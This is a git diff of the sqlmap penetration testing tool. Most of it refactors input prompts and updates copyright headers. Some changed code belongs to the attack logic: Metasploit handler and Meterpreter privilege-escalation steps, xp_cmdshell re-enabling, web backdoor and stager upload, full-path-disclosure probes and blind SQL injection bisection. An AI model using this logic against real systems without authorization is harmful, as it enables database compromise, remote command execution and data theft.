(getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in headers.items()) else: logHeaders = "" redirectMsg += logHeaders if content: - redirectMsg += "\n\n%s" % getUnicode(content[:MAX_CONNECTION_CHUNK_SIZE]) + redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_CHUNK_SIZE]) - logHTTPTraffic(threadData.lastRequestMsg, redirectMsg) + logHTTPTraffic(threadData.lastRequestMsg, redirectMsg, start, time.time()) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg) if redurl: @@ -123,7 +124,12 @@ def http_error_302(self, req, fp, code, msg, headers): req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) if headers and HTTP_HEADER.SET_COOKIE in headers: - req.headers[HTTP_HEADER.COOKIE] = headers[HTTP_HEADER.SET_COOKIE].split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)[0] + delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER + _ = headers[HTTP_HEADER.SET_COOKIE].split(delimiter)[0] + if HTTP_HEADER.COOKIE not in req.headers: + req.headers[HTTP_HEADER.COOKIE] = _ + else: + req.headers[HTTP_HEADER.COOKIE] = re.sub(r"%s{2,}" % delimiter, delimiter, ("%s%s%s" % (re.sub(r"\b%s=[^%s]*%s?" % (re.escape(_.split('=')[0]), delimiter, delimiter), "", req.headers[HTTP_HEADER.COOKIE]), delimiter, _)).strip(delimiter)) try: result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) except urllib2.HTTPError, e: diff --git a/lib/request/templates.py b/lib/request/templates.py index 36c17e60c90..cad883bfd12 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.data import kb @@ -13,7 +13,7 @@ def getPageTemplate(payload, place): if payload and place: if (payload, place) not in kb.pageTemplates: - page, _ = Request.queryPage(payload, place, content=True, raise404=False) + page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None) retVal = kb.pageTemplates[(payload, place)] diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/lib/takeover/__init__.py +++ b/lib/takeover/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 77dcdf2c9d5..5a50ea98640 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import sys @@ -75,17 +75,17 @@ def evalCmd(self, cmd, first=None, last=None): return safechardecode(retVal) def runCmd(self, cmd): - getOutput = None + choice = None if not self.alwaysRetrieveCmdOutput: message = "do you want to retrieve the command standard " message += "output? [Y/n/a] " - getOutput = readInput(message, default="Y") + choice = readInput(message, default='Y').upper() - if getOutput in ("a", "A"): + if choice == 'A': self.alwaysRetrieveCmdOutput = True - if not getOutput or getOutput in ("y", "Y") or self.alwaysRetrieveCmdOutput: + if choice == 'Y' or self.alwaysRetrieveCmdOutput: output = self.evalCmd(cmd) if output: @@ -166,9 +166,8 @@ def _initRunAs(self): msg += "statements as another DBMS user since you provided the " msg += "option '--dbms-creds'. If you are DBA, you can enable it. " msg += "Do you want to enable it? [Y/n] " - choice = readInput(msg, default="Y") - if not choice or choice in ("y", "Y"): + if readInput(msg, default='Y', boolean=True): expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1") inject.goStacked(expression) @@ -190,7 +189,7 @@ def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): if mandatory and not self.isDba(): warnMsg = "functionality requested probably does not work because " - warnMsg += "the curent session user is not a database administrator" + warnMsg += "the current session user is not a database administrator" if not conf.dbmsCred and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): warnMsg += ". You can try to use option '--dbms-cred' " diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index 3df18cf55bf..f2c0f609cf4 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 04c5e843ec2..5813ca3361b 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os @@ -351,7 +351,7 @@ def _forgeMsfCliCmd(self, exitfunc="process"): self._cliCmd += " E" else: - self._cliCmd = "%s -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) + self._cliCmd = "%s -L -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) self._cliCmd += "; set EXITFUNC %s" % exitfunc self._cliCmd += "; set LPORT %s" % self.portStr @@ -501,7 +501,7 @@ def _loadMetExtensions(self, proc, metSess): send_all(proc, "getsystem\n") - infoMsg = "displaying the list of Access Tokens availables. " + infoMsg = "displaying the list of available Access Tokens. " infoMsg += "Choose which user you want to impersonate by " infoMsg += "using incognito's command 'impersonate_token' if " infoMsg += "'getsystem' does not success to elevate privileges" @@ -576,7 +576,7 @@ def _controlMsfCmd(self, proc, func): timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT if not initialized: - match = re.search("Meterpreter session ([\d]+) opened", out) + match = re.search(r"Meterpreter session ([\d]+) opened", out) if match: self._loadMetExtensions(proc, match.group(1)) @@ -601,6 +601,8 @@ def _controlMsfCmd(self, proc, func): except (EOFError, IOError, select.error): return proc.returncode + except KeyboardInterrupt: + pass def createMsfShellcode(self, exitfunc, format, extra, encode): infoMsg = "creating Metasploit Framework multi-stage shellcode " @@ -620,7 +622,7 @@ def createMsfShellcode(self, exitfunc, format, extra, encode): pollProcess(process) payloadStderr = process.communicate()[1] - match = re.search("(Total size:|Length:|succeeded with size) ([\d]+)", payloadStderr) + match = re.search(r"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\d]+)", payloadStderr) if match: payloadSize = int(match.group(2)) diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index 6a5a2f39dca..043ed56bd2a 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 12f9be4706d..ed0ad2c4167 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os @@ -42,12 +42,8 @@ def __init__(self): def _askOverwriteUdf(self, udf): message = "UDF '%s' already exists, do you " % udf message += "want to overwrite it? [y/N] " - output = readInput(message, default="N") - if output and output[0] in ("y", "Y"): - return True - else: - return False + return readInput(message, default='N', boolean=True) def _checkExistUdf(self, udf): logger.info("checking if UDF '%s' already exist" % udf) @@ -158,9 +154,8 @@ def udfInjectCore(self, udfDict): message = "do you want to proceed anyway? Beware that the " message += "operating system takeover will fail [y/N] " - choice = readInput(message, default="N") - if choice and choice.lower() == "y": + if readInput(message, default='N', boolean=True): written = True else: return False @@ -200,7 +195,7 @@ def udfInjectCustom(self): if not self.isDba(): warnMsg = "functionality requested probably does not work because " - warnMsg += "the curent session user is not a database administrator" + warnMsg += "the current session user is not a database administrator" logger.warn(warnMsg) if not conf.shLib: @@ -241,9 +236,9 @@ def udfInjectCustom(self): msg += "from the shared library? " while True: - udfCount = readInput(msg, default=1) + udfCount = readInput(msg, default='1') - if isinstance(udfCount, basestring) and udfCount.isdigit(): + if udfCount.isdigit(): udfCount = int(udfCount) if udfCount <= 0: @@ -251,10 +246,6 @@ def udfInjectCustom(self): return else: break - - elif isinstance(udfCount, int): - break - else: logger.warn("invalid value, only digits are allowed") @@ -276,20 +267,16 @@ def udfInjectCustom(self): self.udfs[udfName]["input"] = [] - default = 1 msg = "how many input parameters takes UDF " - msg += "'%s'? (default: %d) " % (udfName, default) + msg += "'%s'? (default: 1) " % udfName while True: - parCount = readInput(msg, default=default) + parCount = readInput(msg, default='1') - if isinstance(parCount, basestring) and parCount.isdigit() and int(parCount) >= 0: + if parCount.isdigit() and int(parCount) >= 0: parCount = int(parCount) break - elif isinstance(parCount, int): - break - else: logger.warn("invalid value, only digits >= 0 are allowed") @@ -298,9 +285,9 @@ def udfInjectCustom(self): msg += "number %d? (default: %s) " % ((y + 1), defaultType) while True: - parType = readInput(msg, default=defaultType) + parType = readInput(msg, default=defaultType).strip() - if isinstance(parType, basestring) and parType.isdigit(): + if parType.isdigit(): logger.warn("you need to specify the data-type of the parameter") else: @@ -327,12 +314,12 @@ def udfInjectCustom(self): msg = "do you want to call your injected user-defined " msg += "functions now? [Y/n/q] " - choice = readInput(msg, default="Y") + choice = readInput(msg, default='Y').upper() - if choice[0] in ("n", "N"): + if choice == 'N': self.cleanup(udfDict=self.udfs) return - elif choice[0] in ("q", "Q"): + elif choice == 'Q': self.cleanup(udfDict=self.udfs) raise SqlmapUserQuitException @@ -347,9 +334,9 @@ def udfInjectCustom(self): msg += "\n[q] Quit" while True: - choice = readInput(msg) + choice = readInput(msg).upper() - if choice and choice[0] in ("q", "Q"): + if choice == 'Q': break elif isinstance(choice, basestring) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): choice = int(choice) @@ -390,9 +377,8 @@ def udfInjectCustom(self): cmd = cmd[:-1] msg = "do you want to retrieve the return value of the " msg += "UDF? [Y/n] " - choice = readInput(msg, default="Y") - if choice[0] in ("y", "Y"): + if readInput(msg, default='Y', boolean=True): output = self.udfEvalCmd(cmd, udfName=udfToCall) if output: @@ -403,9 +389,8 @@ def udfInjectCustom(self): self.udfExecCmd(cmd, udfName=udfToCall, silent=True) msg = "do you want to call this or another injected UDF? [Y/n] " - choice = readInput(msg, default="Y") - if choice[0] not in ("y", "Y"): + if not readInput(msg, default='Y', boolean=True): break self.cleanup(udfDict=self.udfs) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 5f55260685e..2952a127f0b 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os @@ -26,6 +26,7 @@ from lib.core.common import isTechniqueAvailable from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath +from lib.core.common import parseFilePaths from lib.core.common import posixToNtSlashes from lib.core.common import randomInt from lib.core.common import randomStr @@ -38,8 +39,10 @@ from lib.core.data import logger from lib.core.data import paths from lib.core.enums import DBMS +from lib.core.enums import HTTP_HEADER from lib.core.enums import OS from lib.core.enums import PAYLOAD +from lib.core.enums import PLACE from lib.core.enums import WEB_API from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT @@ -77,7 +80,7 @@ def webBackdoorRunCmd(self, cmd): page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT) if page is not None: - output = re.search("
    (.+?)
    ", page, re.I | re.S) + output = re.search(r"
    (.+?)
    ", page, re.I | re.S) if output: output = output.group(1) @@ -141,7 +144,7 @@ def _webFileInject(self, fileContent, fileName, directory): randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) - query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery)) + query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding)) query = agent.prefixQuery(query) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) @@ -196,6 +199,59 @@ def webInit(self): self.webApi = choices[int(choice) - 1] break + if not kb.absFilePaths: + message = "do you want sqlmap to further try to " + message += "provoke the full path disclosure? [Y/n] " + + if readInput(message, default='Y', boolean=True): + headers = {} + been = set([conf.url]) + + for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): + url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php") + if url not in been: + try: + page, _, _ = Request.getPage(url=url, raise404=False, silent=True) + parseFilePaths(page) + except: + pass + finally: + been.add(url) + + url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url) + if url not in been: + try: + page, _, _ = Request.getPage(url=url, raise404=False, silent=True) + parseFilePaths(page) + except: + pass + finally: + been.add(url) + + for place in (PLACE.GET, PLACE.POST): + if place in conf.parameters: + value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place]) + if "[]" in value: + page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) + parseFilePaths(page) + + cookie = None + if PLACE.COOKIE in conf.parameters: + cookie = conf.parameters[PLACE.COOKIE] + elif headers and HTTP_HEADER.SET_COOKIE in headers: + cookie = headers[HTTP_HEADER.SET_COOKIE] + + if cookie: + value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) + if value != cookie: + page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) + parseFilePaths(page) + + value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie) + if value != cookie: + page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) + parseFilePaths(page) + directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(oset(directories)) @@ -210,9 +266,9 @@ def webInit(self): directories = _ backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) - backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) + backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi)) - stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) + stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi)) for directory in directories: if not directory: @@ -267,7 +323,7 @@ def webInit(self): os.close(handle) with open(filename, "w+b") as f: - _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) + _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi)) _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) f.write(_) @@ -314,7 +370,7 @@ def webInit(self): _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)): - self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_')) + self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: @@ -334,9 +390,8 @@ def webInit(self): message = "do you want to try the same method used " message += "for the file stager? [Y/n] " - getOutput = readInput(message, default="Y") - if getOutput in ("y", "Y"): + if readInput(message, default='Y', boolean=True): self._webFileInject(backdoorContent, backdoorName, directory) else: continue diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index e7ac6a52a15..a9b17dd7701 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.agent import agent @@ -163,7 +163,7 @@ def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): # Obfuscate the command to execute, also useful to bypass filters # on single-quotes self._randStr = randomStr(lowercase=True) - self._cmd = "0x%s" % hexencode(cmd) + self._cmd = "0x%s" % hexencode(cmd, conf.encoding) self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr self._forgedCmd += "SET @%s=%s;" % (self._randStr, self._cmd) @@ -255,9 +255,8 @@ def xpCmdshellInit(self): message = "xp_cmdshell extended procedure does not seem to " message += "be available. Do you want sqlmap to try to " message += "re-enable it? [Y/n] " - choice = readInput(message, default="Y") - if not choice or choice in ("y", "Y"): + if readInput(message, default='Y', boolean=True): self._xpCmdshellConfigure(1) if self._xpCmdshellCheck(): diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index f2ea35d1fbc..4116d4d5e2f 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -40,6 +40,7 @@ from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import INFERENCE_GREATER_CHAR from lib.core.settings import INFERENCE_EQUALS_CHAR +from lib.core.settings import INFERENCE_MARKER from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR from lib.core.settings import MAX_BISECTION_LENGTH from lib.core.settings import MAX_REVALIDATION_STEPS @@ -67,7 +68,12 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None partialValue = u"" finalValue = None retrievedLength = 0 - asciiTbl = getCharset(charsetType) + + if charsetType is None and conf.charset: + asciiTbl = sorted(set(ord(_) for _ in conf.charset)) + else: + asciiTbl = getCharset(charsetType) + threadData = getCurrentThreadData() timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) @@ -97,25 +103,25 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() - elif hasattr(conf, "api"): + elif conf.api: kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) - elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): + elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression): firstChar = 0 elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 if kb.fileReadMode: - firstChar *= 2 + firstChar <<= 1 elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 - if "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): + if re.search(r"(?i)\b(LENGTH|LEN)\(", expression): lastChar = 0 elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) @@ -168,7 +174,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) - if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): + if conf.verbose in (1, 2) and not showEta and not conf.api: if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) @@ -187,8 +193,9 @@ def tryHint(idx): else: posValue = ord(hintValue[idx - 1]) - forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) - result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) + forgedPayload = agent.extractPayload(payload) + forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) + result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: @@ -270,86 +277,86 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, lastCheck = False unexpectedCode = False - while len(charTbl) != 1: - position = None + if continuousOrder: + while len(charTbl) > 1: + position = None - if charsetType is None: - if not firstCheck: - try: - try: - lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] - except IndexError: - lastChar = None - if 'a' <= lastChar <= 'z': - position = charTbl.index(ord('a') - 1) # 96 - elif 'A' <= lastChar <= 'Z': - position = charTbl.index(ord('A') - 1) # 64 - elif '0' <= lastChar <= '9': - position = charTbl.index(ord('0') - 1) # 47 - except ValueError: - pass - finally: - firstCheck = True - - elif not lastCheck and numThreads == 1: # not usable in multi-threading environment - if charTbl[(len(charTbl) >> 1)] < ord(' '): + if charsetType is None: + if not firstCheck: try: - # favorize last char check if current value inclines toward 0 - position = charTbl.index(1) + try: + lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] + except IndexError: + lastChar = None + if 'a' <= lastChar <= 'z': + position = charTbl.index(ord('a') - 1) # 96 + elif 'A' <= lastChar <= 'Z': + position = charTbl.index(ord('A') - 1) # 64 + elif '0' <= lastChar <= '9': + position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: - lastCheck = True - - if position is None: - position = (len(charTbl) >> 1) - - posValue = charTbl[position] - falsePayload = None - - if "'%s'" % CHAR_INFERENCE_MARK not in payload: - forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) - falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) - else: - # e.g.: ... > '%c' -> ... > ORD(..) - markingValue = "'%s'" % CHAR_INFERENCE_MARK - unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) - forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) - falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) - - if timeBasedCompare: - if kb.responseTimeMode: - kb.responseTimePayload = falsePayload + firstCheck = True + + elif not lastCheck and numThreads == 1: # not usable in multi-threading environment + if charTbl[(len(charTbl) >> 1)] < ord(' '): + try: + # favorize last char check if current value inclines toward 0 + position = charTbl.index(1) + except ValueError: + pass + finally: + lastCheck = True + + if position is None: + position = (len(charTbl) >> 1) + + posValue = charTbl[position] + falsePayload = None + + if "'%s'" % CHAR_INFERENCE_MARK not in payload: + forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) + falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: - kb.responseTimePayload = None + # e.g.: ... > '%c' -> ... > ORD(..) + markingValue = "'%s'" % CHAR_INFERENCE_MARK + unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) + forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) + falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) + + if timeBasedCompare: + if kb.responseTimeMode: + kb.responseTimePayload = falsePayload + else: + kb.responseTimePayload = None - result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(kb.technique) - if not timeBasedCompare: - unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode) - if unexpectedCode: - warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode - singleTimeWarnMessage(warnMsg) + if not timeBasedCompare: + unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode) + if unexpectedCode: + warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode + singleTimeWarnMessage(warnMsg) - if result: - minValue = posValue + if result: + minValue = posValue - if type(charTbl) != xrange: - charTbl = charTbl[position:] + if not isinstance(charTbl, xrange): + charTbl = charTbl[position:] + else: + # xrange() - extended virtual charset used for memory/space optimization + charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: - # xrange() - extended virtual charset used for memory/space optimization - charTbl = xrange(charTbl[position], charTbl[-1] + 1) - else: - maxValue = posValue + maxValue = posValue - if type(charTbl) != xrange: - charTbl = charTbl[:position] - else: - charTbl = xrange(charTbl[0], charTbl[position]) + if not isinstance(charTbl, xrange): + charTbl = charTbl[:position] + else: + charTbl = xrange(charTbl[0], charTbl[position]) - if len(charTbl) == 1: - if continuousOrder: + if len(charTbl) == 1: if maxValue == 1: return None @@ -383,7 +390,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 - warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') + warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: @@ -408,25 +415,40 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, return decodeIntToUnicode(retVal) else: return None + else: + candidates = list(originalTbl) + bit = 0 + while len(candidates) > 1: + bits = {} + for candidate in candidates: + bit = 0 + while candidate: + bits.setdefault(bit, 0) + bits[bit] += 1 if candidate & 1 else -1 + candidate >>= 1 + bit += 1 + + choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] + mask = 1 << choice + + forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) + result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(kb.technique) + + if result: + candidates = [_ for _ in candidates if _ & mask > 0] else: - if minValue == maxChar or maxValue == minChar: - return None - - for index in xrange(len(originalTbl)): - if originalTbl[index] == minValue: - break + candidates = [_ for _ in candidates if _ & mask == 0] - # If we are working with non-continuous elements, both minValue and character after - # are possible candidates - for retVal in (originalTbl[index], originalTbl[index + 1]): - forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) - result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + bit += 1 - if result: - return decodeIntToUnicode(retVal) + if candidates: + forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, 